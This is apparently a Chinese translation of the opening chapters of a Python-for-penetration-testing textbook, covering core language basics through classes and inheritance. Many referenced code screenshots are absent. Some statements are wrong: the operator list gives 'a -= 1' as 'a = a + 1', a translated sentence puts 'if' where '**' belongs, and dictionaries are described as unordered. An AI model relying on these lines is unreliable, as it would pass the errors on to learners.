字典是非常强大的结构,在 Python 中被广泛使用。字典是一种键值对结构。字典键可以是唯一的数字或字符串,值可以是任何 Python 对象。字典是可变的,可以就地更改。以下示例演示了 Python 中字典的基础知识:

Python 字典可以在花括号内声明。每个键值对之间用逗号分隔。应该注意,键必须是唯一的;如果我们尝试重复键,旧的键值对将被新的键值对覆盖。从前面的例子中,我们可以确定字典键可以是字符串或数字类型。让我们尝试在 Python 中对字典进行各种操作:

  • 使用键检索字典值:可以通过字典键的名称访问字典值。如果不知道键的名称,可以使用循环来遍历整个字典结构。我们将在本书的下一章中介绍这一点:

这是打印字典值的许多方法之一。但是,如果我们要打印值的键在字典中不存在,我们将收到一个找不到键的异常,如下截图所示:

有一种更好的方法来处理这个问题,避免这种类型的异常。我们可以使用字典类提供的get()方法。get()方法将键名作为第一个参数,如果键不存在,则将默认值作为第二个参数。然后,如果找不到键,将返回默认值,而不是抛出异常。如下截图所示:

在前面的例子中,当实际字典dict1中存在k1键时,将返回k1键的值,即v1。然后,搜索了k0键,但最初不存在。在这种情况下,不会引发异常,而是返回False值,表明实际上不存在这样的键K0。请记住,我们可以将任何占位符作为get()方法的第二个参数,以指示我们要搜索的键的缺失。

  • 向字典添加键和值:一旦声明了字典,在代码的过程中可能会有许多情况,我们希望修改字典键或添加新的字典键和值。可以通过以下方式实现。如前所述,字典值可以是任何 Python 对象,因此我们可以在字典中的值中有元组、列表和字典类型:

现在,让我们将更复杂的类型添加为值:

可以通过它们的键正常检索这些值,如下所示:

  • 扩展字典内容: 在前面的例子中,我们将一个字典添加为现有字典的值。我们现在将看到如何将两个字典合并为一个公共或新字典。可以使用update()方法来实现这一点:

  • Keys():要获取所有字典键,我们可以使用keys()方法。这将返回字典键的类实例:

我们可以看到,keys 方法返回一个dict_keys类的实例,它保存了字典键的列表。我们可以将其强制转换为列表类型,如下所示:

  • values()values()方法返回字典中存在的所有值:

  • Items():这个方法实际上是用来遍历字典键值对的,因为它返回一个包含元组列表的列表类实例。每个元组有两个条目,第一个是键,第二个是值:

我们也可以将返回的类实例转换为元组、列表元组或列表类型。这样做的理想方式是遍历项目,我们稍后将在循环时看到:

  • innot ininnot in方法用于查看字典中是否存在键。默认情况下,innot in子句将搜索字典键,而不是值。看下面的例子:

  • 存储顺序:默认情况下,Python 字典是无序的,这意味着它们在内部存储的顺序与我们定义的顺序不同。这是因为字典存储在称为哈希表的动态表中。由于这些表是动态的,它们的大小可以增加和缩小。内部发生的情况是计算键的哈希值并将其存储在表中。键进入第一列,而第二列保存实际值。让我们看下面的例子来更好地解释这一点:

在前面的例子中,我们声明了一个名为a的字典,第一个键为abc,第二个键为abcd。然而,当我们打印值时,我们可以看到abcdabc之前存储。为了解释这一点,让我们假设字典内部存储的动态表或哈希表的大小为8

正如我们之前提到的,键将被存储为哈希值。当我们计算abc字符串的哈希并以模 8 的方式进行除法时,即表大小为8,我们得到结果7。如果我们对abcd做同样的操作,我们得到结果4。这意味着哈希abcd将被存储在索引4,而哈希abc将被存储在索引7。因此,在列表中,我们得到abcdabc之前列出的原因是这样的:

hash(key)%table_size操作后,可能会出现两个键到达相同值的情况,这称为冲突。在这种情况下,首先插槽的键是先存储的键。

  • sorted():如果我们希望字典根据键排序,可以使用内置的 sorted 方法。这可以调整为返回一个元组列表,每个元组在第 0 个索引处有一个键,第 1 个索引处有一个值:

  • 删除元素:我们可以使用传统的del语句来删除任何字典项。当我们说删除时,我们指的是删除键和值。字典项成对工作,因此删除键也会删除值。删除条目的另一种方法是使用pop()方法并将键作为参数传递。这在以下代码片段中显示:

Python 运算符

Python 中的运算符是可以对表达式进行算术或逻辑操作的东西。运算符操作的变量称为操作数。让我们试着了解 Python 中提供的各种运算符:

  • 算术
函数 示例
加法 a + b
减法 a - b
否定 -a
乘法 a * b
除法 a / b
取模 a % b
指数 a ** b
地板除法 a // b
  • 赋值

  • a = 0评估为a=0

  • a +=1评估为a = a + 1

  • a -= 1评估为a = a + 1

  • a *= 2评估为a = a * 2

  • a /= 5评估为a = a / 5

  • a **= 3评估为a = a ** 3

  • a //= 2评估为a= a // 2(地板除法 2)

  • a %= 5评估为a= a % 5

  • 逻辑运算符

  • andTrue:如果两个操作数都为true,则条件变为true。例如,(a and b)true

  • orTrue:如果两个操作数中有任何一个非零,则条件变为true。例如,(a or b)true

  • notTrue:用于颠倒其操作数的逻辑状态。例如,not (a and b)false

  • 位运算符

函数 示例
and a & b
or a | b
xor a ^ b
反转 ~ a
右移 a >> b
左移 a << b

总结

在本章中,我们讨论了 Python 的基础知识,并探索了该语言的语法。这与您以往可能学过的语言并没有太大不同,例如 C、C++或 Java。但是,与同行相比,它更容易使用,并且在网络安全领域非常强大。本章阐述了 Python 的基础知识,并将帮助我们进步,因为一些数据类型,如列表、字典、元组和字符串在本书的整个过程中都被大量使用。

在下一章中,我们将学习条件和循环,并看看循环如何与我们迄今为止学习的数据类型一起使用。

问题

  1. Python 是开源的吗?如果是,它与其他开源语言有何不同?

  2. 谁管理 Python 并致力于进一步的功能增强?

  3. Python 比 Java 快吗?

  4. Python 是面向对象的还是函数式的?

  5. 如果我对任何编程语言几乎没有经验,我能快速学会 Python 吗?

  6. Python 对我有什么好处,作为一名网络安全工程师?

  7. 我是一名渗透测试员-为什么我需要了解人工智能和机器学习?

第二章:构建 Python 脚本

本章将涵盖所有编程语言的核心概念。这包括条件语句、循环、函数和包。我们将看到这些概念在 Python 中与其他编程语言中基本相同,只是在一些语法上有所不同。但语法只需要练习;其他一切都会自动顺利进行。本章我们将要涵盖的主题如下:

  • 条件语句

  • 循环

  • 函数

  • 模块和包

  • 理解和生成器

技术要求

确保你具备以下继续学习所需的先决条件:

  • 一台工作的计算机或笔记本电脑

  • Ubuntu 操作系统(最好是 16.04)

  • Python 3.x

  • 一个工作的互联网连接

缩进

如果你来自 Java、C 或 C++等语言的背景,你可能熟悉使用花括号来分组逻辑连接语句的概念。然而,在 Python 中情况并非如此。相反,逻辑连接的语句,包括类、函数、条件语句和循环,都是使用缩进来分组的。缩进可以使代码保持清晰易读。我们将在接下来的部分中更详细地探讨这一点。但现在,让我们和花括号说再见。我建议你使用制表符进行缩进,因为在每一行输入相同数量的空格会非常耗时。

条件语句

与所有其他语言一样,Python 使用条件语句来执行条件操作。Python 支持的条件语句如下:

  • if条件

  • if...else条件

  • else...if条件梯,在 Python 中称为elif

Python 不支持switch语句。

if 条件

if条件或if语句接受一个语句,并在评估该语句后返回布尔值TrueFalse。如果条件返回True,则执行if语句后面的代码(同样缩进)。如果语句/条件评估为False,那么如果有else代码块,则执行else代码块,否则执行if块后面的代码,因此if块实际上被跳过。让我们看看if代码的运行情况。

从现在开始,我们将看一下脚本是如何工作的。我们将要么创建脚本文件,要么进行练习。因此,请继续在 gedit 或你选择的任何编辑器上创建一个名为if_condition.py的文件。或者,我们可以在终端中输入gedit if_condition.py

然后我们输入以下代码:

a=44
b=33
if a > b:
    print("a is greater") 
print("End")

现在,为了运行这个脚本,我们可以在终端中简单地输入python3.5 if_condition.py

Python 的print方法默认会在要打印的字符串后添加\n,这样我们可以看到两个不同行的输出。请注意if语句的语法如下:

if <条件>:然后缩进的代码

我们是否使用括号与条件是由我们决定的。正如你所看到的,条件评估为True,所以打印了a is greater。对于 Python 中的if条件,任何不评估为零(0)、FalseNone的东西都会被视为True,并且执行if语句后面的代码。

让我们看一个if条件与and...orand...not逻辑运算符结合的另一个例子。

让我们创建另一个名为if_detailed.py的文件,并输入以下代码:

你可能已经注意到,在文件的开头,我们有一个语句,写着#! /usr/bin/python3.5。这意味着我们不必每次执行代码时都输入python3.5。它指示代码使用位于/usr/bin/python3.5的程序来执行它,每次作为可执行文件执行时。我们需要改变文件的权限使其可执行。这样做,然后按照以下方式执行代码:

产生的输出是不言自明的。正如我之前提到的,任何不等于0FalseNoneempty的东西都被视为True,并且执行if块。这解释了为什么前三个if条件被评估为True并且消息被打印出来,但第四个消息没有被打印。从第 19 行开始,我们使用了逻辑运算符。在 Python 中,合取操作由and运算符执行,这与我们在 C、C++和 Java 中使用的&&相同。对于短路布尔运算符,在 Python 中我们有or关键字,它与 C、C++和 Java 中的||相同。最后,not关键字在 Python 中提供否定,就像其他语言中的!一样。

应该注意,在 Python 中,null字节字符由保留关键字None表示,这与 Java 或 C#等语言中的null相同。

if...else条件

if...else条件在任何其他语言中基本上是一样的。如果if条件评估为True值,那么缩进在if下面的代码块将被执行。否则,缩进在else块下面的代码块将被执行:

a=44
b=66
if a > b:
    print("a is Greater") 
else:
    print("B is either Greater or Equal")
print("End")

让我们创建一个名为if_else.py的文件,并看看如何使用它:

这里的输出也是不言自明的。在这段代码中,我们探讨了一些位运算符与if...else代码结构一起使用的情况。我们还使用了变量,这些变量将被打印出来。%s是一个占位符,并指定%s的值应该被字符串变量替换,其值将在字符串结束后立即出现。如果我们有多个值要替换,它们可以作为一个元组传递,如%(val1,val2,val3)

if...elif条件

if...elif梯,在其他编程语言中如 C、C++和 Java 中被称为if...else if,在 Python 中具有相同的功能。if条件让我们在代码的else部分旁边指定一个条件。只有条件为true时,才会执行条件语句后面的部分:

a=44
b=66
if a > b:
    print("a is Greater") 
elif b > a:
    print("B is either Greater or Equal")
else:
    print("A and B are equal")
print("End")

必须注意的是,前面代码片段中的第三个else是可选的。即使我们不指定它,代码也能正常工作:

让我们创建一个名为if_el_if.py的文件,并看看它如何使用:

循环

循环是每种编程语言都具有的实用工具。借助循环,我们可以执行重复性的任务或语句,如果没有循环,将需要大量的代码行。这在某种程度上违背了首先拥有编程语言的目的。如果你熟悉 Java、C 或 C++,你可能已经遇到了whilefordo...while循环。Python 基本上是一样的,只是它不支持do...while循环。因此,我们将在下一节中学习的 Python 中的循环是以下的:

  • while循环

  • for循环

while 循环

请记住,当我们在书的第一章讨论列表时,我们提到在 Python 中列表实际上可以包含异构数据类型。列表可以包含整数、字符串、字典、元组,甚至是嵌套列表。这个特性使得列表非常强大,非常容易和直观地使用。让我们看下面的例子:

my_list=[1,"a",[1,2,3],{"k1":"v1"}]
my_list[0] -> 1
my_List[1] -> "a"
my_list[2] -> [1,2,3]
my_list[2][0] -> 1
my_list[2][2] -> 3
my_list[3] -> {"k1":"v1"}
my_list[3]["k1"] -> "v1"
my_list[3].get("k1") -> "v1

让我们通过以下代码更仔细地了解while循环,我们将其称为while_loops.py。我们还将看到如何使用while循环迭代列表:

代码的第一部分,第 2 到 6 行,描述了while循环的简单用法,我们在其中打印了一个语句五次。请注意,为了执行循环指定的条件可以放在括号内或括号外,如第 7 到 10 行所示。

在第 12 行,我们声明了一个包含数字、字符串、浮点数和嵌套列表的列表。然后,在从第 14 行开始的最后一个while循环中,我们通过将循环控制变量设置为小于列表长度来迭代列表的元素。在循环中,我们检查列表变量的类型。if类型(1)返回一个整数类,类型(a)返回一个字符串类,类型([])返回一个列表类。当类型是列表时,我们再次在嵌套的while循环中迭代它的元素,并打印每一个,如第 19 到 24 行所示:

for 循环

for循环在 Python 中被广泛使用,每当我们需要迭代不可改变的列表时,它都是默认选择。在继续使用for循环之前,让我们更仔细地了解 Python 中的迭代可迭代迭代器这些术语的含义。

迭代、可迭代和迭代器

迭代:迭代是一个过程,其中一组指令或结构按顺序重复指定次数,或直到满足条件。每次循环体执行时,都称为完成一次迭代。

可迭代:可迭代是一个具有__iter__方法的对象,它返回一个迭代器。迭代器是任何包含可以迭代的元素序列的对象,然后可以执行操作。Python 字符串、列表、元组、字典和集合都是可迭代的,因为它们实现了__iter__方法。看下面的代码片段,看一个例子:

在上面的代码片段中,我们声明了一个字符串a,并将值hello放入其中。要查看 Python 中任何对象的所有内置方法,我们可以使用dir(<object>)方法。对于字符串,这将返回可以在字符串类型上执行的所有操作和方法。在第二行,第 5 个操作是我们之前提到的iter方法。可以看到iter(a)返回一个字符串迭代器。

同样,列表对象的iter方法将返回一个列表迭代器,如前所示。

迭代器:迭代器是一个具有__next__方法的对象。next方法始终返回调用原始iter()方法的序列的next元素,从索引 0 开始。下面的代码片段中展示了这一点:

正如在字符串和列表的示例中所看到的,迭代器上的next方法总是返回我们迭代的序列或对象中的next元素。必须注意的是,迭代器只能向前移动,如果我们想让iter_alist_itr返回到任何元素,我们必须重新将迭代器初始化为原始对象或序列:

更仔细地看一下 for 循环

Python 中的for循环超出了其他编程语言中for循环的能力。当调用诸如字符串、元组、列表、集合或字典等可迭代对象时,for循环内部调用iter来获取迭代器。然后,它调用next方法来获取可迭代对象中的实际元素。然后,它重复调用 next 直到引发StopIteration异常,然后它会在内部处理并将我们从循环中取出。for循环的语法如下所示:

for var in iterable:
    statement 1
    statement 2
    statement n

让我们创建一个名为for_loops.py的文件,它将解释for循环的基本用法:

在前面的示例中,我们使用了 Python 的 range 函数/方法,它帮助我们实现了传统的for循环,我们在其他编程语言(如 C、C++或 Java)中学到的。这可能看起来像for i =0 ;i < 5 ;i ++。Python 中的 range 函数需要一个必需参数和两个默认参数。必需参数指定迭代的限制,并且从索引0开始,返回数字,直到达到限制,就像代码的第 3 和第 4 行所示的那样。当使用两个参数调用时,第一个参数作为范围的起点,最后一个作为终点,就像我们代码的第 7 和第 8 行所示的那样。最后,当使用三个参数调用range函数时,第三个参数作为步长,默认为 1。这在下面的输出和示例代码的第 12 和第 13 行中显示:

让我们看看另一个for循环的例子,我们将用它来迭代 Python 定义的所有可迭代对象。这将使我们能够探索for循环的真正威力。让我们创建一个名为for_loops_ad.py的文件:

之前,我们看到了如何从列表、字符串和元组中读取值。在前面的示例中,我们使用for循环枚举字符串、列表和字典。我们之前了解到,for循环实际上调用可迭代对象的iter方法,然后为每次迭代调用next方法。这在下面的示例中显示:

当我们使用for循环迭代 Python 字典时,默认情况下会将字典键返回给我们。当我们在字典上使用.items()时,每次迭代都会返回一个元组,其中键在元组的第 0 个索引处,值在第一个索引处。

Python 中的函数和方法

函数和方法用于设计或制作可以在脚本或其他脚本的整个过程中重复使用的逻辑代码单元。函数实际上构成了代码重用的基础,并为代码结构带来了模块化。它们使代码更清晰,更容易修改。

建议我们总是尝试将逻辑分解为小的代码单元,每个单元都是一个函数。我们应该尽量保持方法的大小在代码行方面尽可能小。

以下代码代表了在 Python 中定义方法的基本语法:

def print_message(message):
    print(message)
    statement 2
    statement 

Python 方法在其定义中没有返回类型,就像您在 C、C++或 Java 中看到的那样,例如voidinfloat等。Python 方法可能返回值,也可能不返回值,但我们不需要明确指定。方法在 Python 中非常强大和灵活。

应该注意到每个 Python 脚本的默认名称是main,并且它被放置在一个全局变量中,可以在整个 Python 上下文中访问,称为__name__。我们将在接下来的示例中使用它。

让我们探索使用我们的method_basics.py脚本调用方法的各种方式:

现在让我们将其分解成更小的部分,并尝试理解发生了什么:

  • print_msg1(): 这是一个基本的方法,只是在控制台上打印一个字符串。它在第 2 行定义,在第 19 行调用。

  • print_msg2(): 这是一个方法,接受变量消息作为参数,然后在屏幕上打印该变量的值。请记住,Python 变量不需要指定类型,因此我们可以将任何数据传递给message变量。这是一个接受单个参数的 Python 方法的示例。请记住,参数的类型是 Python 对象,它可以接受传递给它的任何值。输出可以在以下截图中看到:

  • print_msg3(): 这是一个 Python 方法,接受两个参数。它类似于我们之前看到的print_msg2()方法。不同之处在于它有时可能会返回一个值。它的调用方式也不同。请注意,在第 22 行,我们通过将第二个参数传递为True来调用此方法。这意味着它返回一个值为True,但是我们在第 26 行不使用True作为第二个参数调用它,因此它不返回任何值。因此,我们在屏幕上得到None。在其他编程语言中,如 C、C++或 Java,调用方法时参数的顺序非常重要。这是因为我们传递参数的顺序应该与传递给方法的顺序相同。然而,在 Python 中,我们可以调用方法并在调用过程中传递命名参数。这意味着顺序并不重要,只要名称与方法参数的名称匹配即可。这在第 29 行中得到了体现,我们将消息作为第二个参数传递,即使它在方法定义中是第一个参数。这样做完全有效,如输出所示。

  • print_msg4(): 这是我们熟悉 Python 默认参数以及它们如何与方法一起使用的地方。默认参数是在声明方法时分配默认值的变量。如果调用者为此参数或变量传递了一个值,则默认值将被调用者传递的值覆盖。如果在调用过程中没有为默认参数传递值,则变量将保持其初始化的默认值。print_msg4()方法有一个必填参数m,和两个可选参数op1op2

  • print_msg4('Test Mandatory'): 这在第 31 行被调用。这表示必填参数应传递Test mandatory字符串,另外两个op1op2变量将被初始化为默认值,如输出所示。

  • print_msg4(1,2): 这在第 32 行被调用。这表示必填参数应传递一个带有value=1的整数,另一个带有value=2的整数应传递给op1。因此,op1的默认值将被覆盖。op2将保留默认值,因为没有传递值。

  • print_msg4(2,3,2): 这在第 33 行被调用。这表示必填参数应传递一个带有value=2的整数,另一个带有value=3的整数应传递给op1,因此op1op2的默认值将被覆盖。

  • print_msg4(1,op2='Test'): 这在第 34 行被调用。必填参数接收一个带有value=1的整数。对于第二个参数,在调用过程中我们指定了一个命名参数,因此Test的顺序对op2不重要,它将被复制到调用者的op2

  • print_msg4(1,op2=33,op1=44): 这在第 35 行被调用。必填参数接收value=1。对于第二个参数,我们指定了一个命名参数op2,对于第三个参数,我们传递了op1。同样,我们可以在输出中看到顺序并不重要。

  • print_msg5(): 通常,在其他编程语言中,函数或方法总是可以返回一个值。如果需要返回多个值,必须将这些值放入数组或另一个结构中,然后返回它们。Python 为我们抽象地处理了这种情况。如果你阅读代码,你可能会认为该方法返回了多个值,而实际上它返回的是一个元组,其中每个值都乘以了二。这可以从输出中验证。

让我们现在探索一些更进一步的方法和传递参数的方式,使用以下示例methods_adv.py。以下代码片段表示 Python 中的可变参数类型方法。从输出中可以验证,method_1接受任意大小的普通序列作为输入,这意味着我们可以向方法传递任意数量的参数。当方法声明为由*符号前缀的参数时,所有传递的参数都被转换为序列,并且一个元组对象被放置在args中。另一方面,当在调用方法时使用*与参数一起使用时,参数类型从序列中更改,内部将每个元素if序列作为单个参数传递给调用者,如method_1_rev中所示。

此外,当在方法声明中使用if与参数一起使用时,它会将所有命名参数内部转换为 Python 字典,键为名称,值为=运算符后的值。这可以在method_2中看到。最后,当**与调用者参数一起使用时,该参数会从 Python 字典内部转换为命名参数。这可以通过method_2_rev进行验证:

模块和包

每个 Python 脚本都被称为一个模块。Python 被设计为可重用和易于编码。因此,我们创建的每个 Python 文件都成为 Python 模块,并有资格在任何其他文件或脚本中被调用或使用。你可能已经学过在 Java 中如何导入类并与其他类一起重用。这里的想法基本上是一样的,只是我们将整个文件作为模块导入,我们可以重用导入文件的任何方法、类或变量。让我们看一个例子。我们将创建两个文件child.pyparent.py,并在每个文件中放置以下代码:

前五行属于child.py,最后八行属于parent.py。我们将运行父文件,如输出所示。应该注意的是,导入的文件可以被赋予别名。在我们的例子中,我们导入了 child 并给它起了别名 C。最后,我们从父 Python 脚本中调用了该模块的child_method()类。

让我们现在尝试探索 Python 包以及它们如何被使用。在 Java 中,包只是收集 Java 中逻辑连接的类文件的文件夹或目录。包在 Python 中也是如此;它们收集逻辑连接的 Python 模块。始终建议使用包,因为这样可以保持代码整洁,使其可重用和模块化。

如前所述,Python 包是一个普通的目录。唯一的区别是,为了使普通目录像 Python 包一样运行,我们必须在目录中放置一个空的__init__.py文件。这告诉 Python 应该使用哪些目录作为包。让我们继续创建一个名为shapes的包。我们将放置一个空的 Python 文件__init__.py和另一个名为area_finder.py的文件在其中:

让我们现在把以下代码放在area_finder.py文件中。我们还要创建另一个名为invoker.py的文件,并将其放在我们创建的 shapes 文件夹之外。调用者的代码在下图的右侧,而area_finder的代码在左侧:

上面的代码是 Python 中如何使用包的一个简单示例。我们创建了一个名为shapes的包,并在其中放置了一个名为area_finder的文件,用于计算形状的面积。然后,我们继续创建了一个名为invoker.py的文件,放在shapes文件夹外,并以多种方式导入了包中的area_finder脚本(仅用于演示目的)。最后,我们使用其中一个别名来调用find_area()方法。

生成器和推导式

生成器是 Python 中一种特殊的迭代器。换句话说,Python 生成器是通过发出yield命令返回生成器迭代器的函数,可以进行迭代。可能会有一些情况,我们希望一个方法或函数返回一系列值,而不仅仅是一个值。例如,我们可能希望我们的方法部分执行任务,将部分结果返回给调用者,然后从上次返回最后一个值的地方恢复工作。通常,当方法终止或返回一个值时,它的执行会从头开始。这就是生成器试图解决的问题。生成器方法返回一个值和一个控制给调用者,然后从离开的地方继续执行。生成器方法是一个带有 yield 语句的普通 Python 方法。以下代码片段generators.py解释了如何使用生成器:

请注意,由于genMethod中有一个 yield 语句,它变成了一个生成器。每次执行 yield 语句时,"a"的值都会作为控制返回给调用者(记住生成器返回一系列值)。每次对生成器方法进行next()调用时,它都会从之前离开的地方恢复执行。

我们知道,每次执行 yield 时,生成器方法都会返回一个生成器迭代器。因此,与任何迭代器一样,我们可以使用for循环来迭代生成器方法。这个for循环会一直持续,直到它到达方法中的 yield 操作。使用for循环的相同示例如下:

你可能会想为什么我们要使用生成器,当相同的结果可以通过列表实现。生成器非常节省内存和空间。如果需要大量处理来生成值,使用生成器是有意义的,因为我们只根据需求生成值。

生成器表达式是可以产生生成器对象的一行表达式,可以进行迭代。这意味着可以实现相同的内存和处理优化。以下代码片段显示了如何使用生成器表达式:

推导式

Python 推导式,通常称为列表推导式,是 Python 中非常强大的实用工具,如果我们需要对列表的所有或部分元素执行一些操作,它会很方便。列表推导式将返回一个带有应用修改的新列表。假设我们有一个数字列表,我们想要对列表中的每个数字进行平方。

让我们看看解决这个问题的两种不同方法:

左侧的代码片段是更传统的方法,需要九行。使用推导式的相同代码只需要三行。列表推导式在方括号内声明,并对列表的每个元素执行任何操作。然后返回带有修改的新列表。让我们看另一个推导式的例子。这次,我们将使用一个if条件(称为推导式过滤器),以及带有推导式的嵌套循环。我们将命名文件为list_comp_adv.py,并输入以下代码:

前面的代码片段是不言自明的。它向我们展示了如何在推导式中使用if条件(第 4 行)。它还向我们展示了如何使用嵌套循环来累加两个列表(第 5 行)。最后,它向我们展示了如何在推导式中使用字典(第 6 行)。

Map、Lambda、zip 和 filters

在本节中,我们将了解一些非常方便的 Python 函数。这些函数允许我们对 Python 可迭代对象(如列表)进行快速处理操作。

  • Map(): 正如我们之前看到的,当我们需要对列表中的所有或部分元素执行操作时,列表推导式非常方便。同样的操作也可以通过map函数实现。它接受两个参数,第一个是将对列表元素执行操作的函数,第二个是列表本身。以下示例map_usage.py演示了这一点:

  • Lambda(): Lambda 函数是小巧但功能强大的内联函数,可用于数据操作。它们对于小的操作非常有用,因为实现它们所需的代码很少。让我们再次看同一个示例,但这次我们将使用 Lambda 函数代替普通的 Python 函数:

  • Zip(): zip方法接受两个列表或可迭代对象,并在多个可迭代对象之间聚合元素。最后,它返回一个包含聚合的元组迭代器。让我们使用一个简单的代码zip_.py来演示这个函数:

  • Filter(): filter方法用于过滤出列表中满足特定条件的元素。filter方法接受两个参数,第一个是返回特定元素为truefalse的方法或 Lambda 函数,第二个是该元素所属的列表或可迭代对象。它返回一个包含条件评估为true的元素的列表。让我们创建一个名为filter_usage.py的文件,并添加以下内容:

摘要

在本章中,我们讨论了条件、循环、方法、迭代器、包、生成器和推导式。所有这些在 Python 中被广泛使用。我们之所以涵盖这些主题,是因为当我们进入后面的自动化渗透测试和网络安全测试用例时,我们将看到这些概念在我们的代码文件中被广泛使用。在下一章中,我们将探讨 Python 的面向对象特性。我们将探讨如何在 Python 中处理 XML、CSV 和 JSON 数据。我们还将了解有关文件、IO 和正则表达式的内容。

问题

  1. 举一个现实生活中使用生成器的用例。

  2. 我们可以将函数名称存储在变量中,然后通过变量调用它吗?

  3. 我们可以将模块名称存储在变量中吗?

进一步阅读

第三章:概念处理

这一章将使我们熟悉 Python 中的各种面向对象的概念。我们将看到 Python 不仅可以用作脚本语言,而且还支持各种面向对象的原则,并且因此可以用来设计可重用和可扩展的软件组件。此外,我们还将探讨正则表达式、文件和其他基于 I/O 的访问,包括 JSON、CSV 和 XML。最后,我们将讨论异常处理。在本章中,我们将涵盖以下主题:

  • Python 中的面向对象编程

  • 文件、目录和其他基于 I/O 的访问类型

  • Python 中的正则表达式

  • 使用 XML、JSON 和 CSV 数据进行数据操作和解析

  • 异常处理

Python 中的面向对象编程

任何编程语言的面向对象特性都教会我们如何处理类和对象。对于 Python 也是如此。我们将要涵盖的一般面向对象特性包括:

  • 类和对象

  • 类关系:继承、组合、关联和聚合

  • 抽象类

  • 多态

  • 静态、实例和类方法和变量

类和对象

可以被认为是一个包含了方法和变量定义的模板或蓝图,用于与该类的对象一起使用。对象只是类的一个实例,其中包含实际值而不是变量。一个类也可以被定义为对象的集合。

简单来说,一个类是变量和方法的集合。方法实际上定义了类执行的行为或操作,而变量是操作所针对的实体。在 Python 中,使用 class 关键字声明类,后跟类名。以下示例显示了如何声明一个基本的员工类,以及一些方法和操作。让我们创建一个名为Classes.py的 Python 脚本:

以下项目符号解释了前面的代码及其结构:

  • class Id_Generator():为了在 Python 中声明一个类,我们需要将其与 class 关键字关联起来,这就是我们在代码的第 2 行所做的。在等同缩进的情况下,Id_Generator类的内容是类的一部分。这个类的目的是为每个新创建的员工生成一个员工 ID。它使用generate()方法来实现这一点。

  • 每个 Python 或任何其他编程语言中的类都有一个构造函数。这要么是显式声明的,要么没有声明,隐式地采用默认构造函数。如果你来自使用 Java 或 C++的背景,你可能习惯于构造函数的名称与类名相同,但这并不总是这样。在 Python 中,类构造方法是使用__init__单词定义的,并且它总是以self作为参数。

  • selfself类似于关键字。在 Python 中,self表示类的当前实例,并且在 Python 中,每个类方法都必须将self作为其第一个参数。这也适用于构造函数。值得注意的是,在调用实例方法时,我们不需要显式地将类的实例作为参数传递;Python 会隐式地为我们处理这个问题。任何实例级变量都必须使用self关键字声明。这可以在构造函数中看到——我们已经声明了一个实例变量 ID 为self.id并将其初始化为0

  • def generate(self)generate是一个实例方法,它递增 ID 并返回递增的 ID。

  • class Employee()employee类是一个用于创建员工的类,它具有构造函数。它使用printDetails方法打印员工的详细信息。

  • def __init__(self,Name,id_gen):构造函数有两种类型——带参数和不带参数。任何带参数的构造函数都是带参数的构造函数。在这里,employee类的构造函数是带参数的,因为它接受两个参数:要创建的员工的姓名和Id_Generator类的实例。在这个方法中,我们只是调用了Id_Generator类的generate方法,它会返回员工 ID。构造函数还将传递给self类实例变量的员工姓名name进行初始化。它还将其他变量D_idSalary初始化为None

  • def printDetails(self):这是一个打印员工详细信息的方法。

  • 24-32 行:在代码的这一部分,我们首先创建了Id_Generator类的实例并命名为Id_gen。然后,我们创建了Employee类的一个实例。请记住,类的构造函数在我们创建类的实例时被调用。由于在这种情况下构造函数是带参数的,我们必须创建一个带两个参数的实例,第一个参数是员工姓名,第二个参数是Id_Generator类的实例。这就是我们在第 25 行所做的:emp1=Employee('Emp1',Id_gen)。正如前面提到的,我们不需要显式传递self;Python 会隐式处理这个问题。之后,我们为Emp1实例的SalaryD_id实例变量赋一些值。我们还创建了另一个名为Emp2的员工,如第 28 行所示。最后,我们通过调用emp1.printDetails()emp2.printDetails()来打印两个员工的详细信息。

类关系

面向对象编程语言最大的优势之一是代码重用。这种可重用性是由类之间存在的关系所支持的。面向对象编程通常支持四种关系:继承、关联、组合和聚合。所有这些关系都基于is-ahas-apart-of关系。

继承

类继承是一个功能,我们可以使用它来扩展类的功能,通过重用另一个类的能力。继承强烈促进了代码的重用。举个简单的继承例子,假设我们有一个Car类。车辆类的一般属性包括category(如 SUV、运动型、轿车或掀背车)、mileagecapacitybrand。现在假设我们有另一个名为Ferrari的类,除了普通汽车的特征外,还具有特定于跑车的额外特征,如HorsepowerTopspeedAccelerationPowerOutput。在这种情况下,我们在两个类之间建立了继承关系。这种关系是子类和基类之间的is-a关系。我们知道 Ferrari 是一辆车。在这种情况下,汽车是基类,Ferrari 是子类,它从父类继承了通用汽车属性,并具有自己的扩展特征。让我们扩展我们之前讨论的例子,我们创建了一个Employee类。现在我们将创建另一个名为Programmer的类,并看看如何在两者之间建立继承关系:

以下几点解释了前面的代码及其结构:

  • Class Programmer(Employee):在前面的情况下,我们创建了另一个名为Programmer的类,它继承自Employee基类。ProgrammerEmployee之间存在is a关系。除了Employee类的所有变量和方法外,Programmer类还定义了一些自己的变量和方法,如语言、数据库、项目和其他技能。

  • def __init__(self,name,id_gen,lang,db,projects,**add_skills)Programmer类的init方法接受一些自解释的参数。请注意(Employee类) super().__init__() 超类构造函数的调用,位于第 32 行。在其他高级语言如 Java 和 C++中,我们知道基类或超类构造函数会自动从子类构造函数中调用,当没有指定时,这是隐式从子类构造函数中执行的第一个语句。但在 Python 中并非如此。基类构造函数不会从子类构造函数中隐式调用,我们必须使用 super 关键字显式调用它,就像在第 32 行中看到的那样。

  • def printSkillDetails(self):这是帮助我们探索继承力量的方法。我们在这个方法中使用了基类的变量(iDnamesalary),以及一些特定于Programmer类的变量。这显示了如何使用继承来重用代码并得到一个是一个关系。

  • 第 52-62 行:最后,我们创建了Programmer类的一个实例并调用了printSkillDetails方法。

Python 中的访问修饰符

在 Python 中,我们没有像 Java 和 C++中那样的访问修饰符。然而,有一种部分解决方法可以用来指示哪些变量是公共的受保护的私有的。这里的指示一词很重要;Python 并不阻止使用受保护或私有成员,它只是指示成员是哪个。让我们看一个例子。创建一个名为AccessSpecifiers.py的类:

上面的例子向我们展示了如何在 Python 中使用访问限定符。在类中简单声明的任何变量默认为公共,就像我们声明的self.public一样。Python 中的受保护变量是通过在它们前面加下划线(_)来声明的,就像第 5 行中看到的self._protected一样。但必须注意的是,这并不能阻止任何人使用它们,就像在第 23 行中看到的那样,我们在类外部使用了受保护成员。Python 中的私有成员是通过在它们前面加双下划线(__)来声明的,就像第 6 行中看到的self.__private一样。然而,同样地,没有任何东西可以阻止这个成员在类外部被使用。然而,访问它们的方式有点不同;对于私有成员,如果它们要在类外部被访问,会遵循一个特定的约定:instance._<className><memberName>。这被称为名称修饰

